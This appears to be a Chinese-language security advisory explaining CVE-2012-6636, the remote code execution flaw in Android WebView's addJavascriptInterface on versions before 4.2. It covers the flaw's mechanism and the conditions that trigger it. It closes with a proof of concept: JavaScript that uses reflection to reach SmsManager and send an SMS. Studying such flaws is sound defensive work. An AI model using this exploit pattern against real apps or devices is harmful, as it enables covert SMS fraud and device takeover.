1. WebView 遠程代碼執行漏洞描述
Android API level 16以及之前的版本存在遠程代碼執行安全漏洞,該漏洞源于程序沒有正確限制使用WebView.addJavascriptInterface方法,遠程攻擊者可通過使用Java Reflection API利用該漏洞執行任意Java對象的方法,簡單的說就是通過addJavascriptInterface給WebView加入一個JavaScript橋接接口,JavaScript通過調用這個接口可以直接操作本地的JAVA接口。該漏洞最早公布于CVE-2012-6636【1】,其描述了WebView中addJavascriptInterface API導致的遠程代碼執行安全漏洞。
該漏洞公布的近期,多款Android流行應用曾被曝出高危掛馬漏洞:點擊消息或朋友社區圈中的一條網址時,用戶手機然后就會自動執行被掛馬的代碼指令,從而導致被安裝惡意扣費軟件、向好友發送欺詐短信、通訊錄和短信被竊取以及被遠程控制等嚴重后果。在烏云漏洞平臺上,包括Android版的微信、QQ、騰訊微博、QQ瀏覽器、快播、百度瀏覽器、金山瀏覽器等大批TOP應用均被曝光同類型的漏洞。
論文Attacks on WebView in the Android System【2】中指出可以利用所導出的讀寫文件接口來進行文件的讀寫操作,攻擊者可以通過中間人攻擊篡改Webview所顯示的頁面來達到對手機文件系統的控制。
2. WebView 遠程代碼執行影響范圍
Android API level 小于17 (即Android 4.2之前的系統版本)
3.WebView 遠程代碼執行漏洞詳情
1) WebView 遠程代碼執行漏洞位置:
WebView.addJavascriptInterface(Object obj, String interfaceName)
2)WebView 遠程代碼執行漏洞觸發前提條件:
使用addJavascriptInterface方法注冊可供JavaScript調用的Java對象;
使用WebView加載外部網頁或者本地網頁;
Android系統版本低于4.2;
3) WebView 遠程代碼執行漏洞原理:
Android系統通過WebView.addJavascriptInterface方法注冊可供JavaScript調用的Java對象,以用于增強JavaScript的功能。但是系統并沒有對注冊Java類的方法調用的限制。導致攻擊者可以利用反射機制調用未注冊的其它任何Java類,最終導致JavaScript能力的無限增強。攻擊者利用該漏洞可以根據客戶端能力為所欲為。
4. WebView 遠程代碼執行漏洞POC
1) 利用addJavascriptInterface方法注冊可供JavaScript調用的java對象 “injectedObj”,利用反射機制調用Android API sendTextMessage來發送短信。
java代碼:
mWebView = new WebView(this);mWebView.getSettings().setJavaScriptEnabled(true);mWebView.addJavascriptInterface(this, "injectedObj");mWebView.loadUrl(file:///android_asset/www/index.html);
EXP的JavaScript代碼:
<html> <body> <script> var objSmsManager = injectedObj.getClass().forName("android.telephony.SmsManager").getM ethod("getDefault",null).invoke(null,null); objSmsManager.sendTextMessage("10086",null,"this message is sent by JS when webview is loading",null,null); </script> </body></html>
新聞熱點
疑難解答
圖片精選